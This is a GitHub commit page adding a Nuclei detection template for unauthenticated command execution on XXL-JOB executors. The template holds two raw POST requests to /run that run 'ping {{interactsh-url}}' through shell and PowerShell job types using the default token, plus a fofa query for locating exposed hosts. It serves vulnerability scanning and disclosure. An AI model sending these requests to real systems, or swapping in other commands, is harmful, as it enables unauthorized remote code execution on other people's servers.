Skip to content

Commit

Permalink
Merge pull request #8642 from projectdiscovery/pussycat0x-patch-6
Browse files Browse the repository at this point in the history
XXL-JOB executor - Unauthorized Access
  • Loading branch information
DhiyaneshGeek authored Nov 20, 2023
2 parents cb0f713 + 696452c commit d40f7c0
Showing 1 changed file with 78 additions and 0 deletions.
78 changes: 78 additions & 0 deletions http/vulnerabilities/other/xxljob-executor-unauth.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
id: xxljob-executor-unauth

info:
name: XXL-JOB executor - Unauthorized Access
author: k3rwin
severity: critical
description: |
XXL-JOB is a distributed task scheduling platform. Its core design goals are rapid development, easy learning, lightweight, and easy expansion. The source code is now open and connected to the online product lines of many companies, ready to use out of the box. XXL-JOB is divided into two ends: admin and executor. The former is the background management page, and the latter is the client for task execution. The executor is not configured with authentication by default, and unauthorized attackers can execute arbitrary commands through the RESTful API.
reference:
- https://github.com/jas502n/xxl-job/blob/main/README.md
- https://github.com/vulhub/vulhub/blob/master/xxl-job/unacc/README.md
metadata:
verified: true
fofa-query: app="XXL-JOB"
tags: xxljob,unauth,misconfig,rce

http:
- raw:
- |
POST /run HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Xxl-Job-Access-Token: default_token
Content-Length: 396
{
"jobId": {{rand_int(1000)}},
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "ping {{interactsh-url}}",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
- |
POST /run HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Xxl-Job-Access-Token: default_token
Content-Length: 396
{
"jobId": {{rand_int(1000)}},
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "ping {{interactsh-url}}",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{"code":200}'

- type: status
status:
- 200

- type: word
part: interactsh_protocol
words:
- "dns"

0 comments on commit d40f7c0

Please sign in to comment.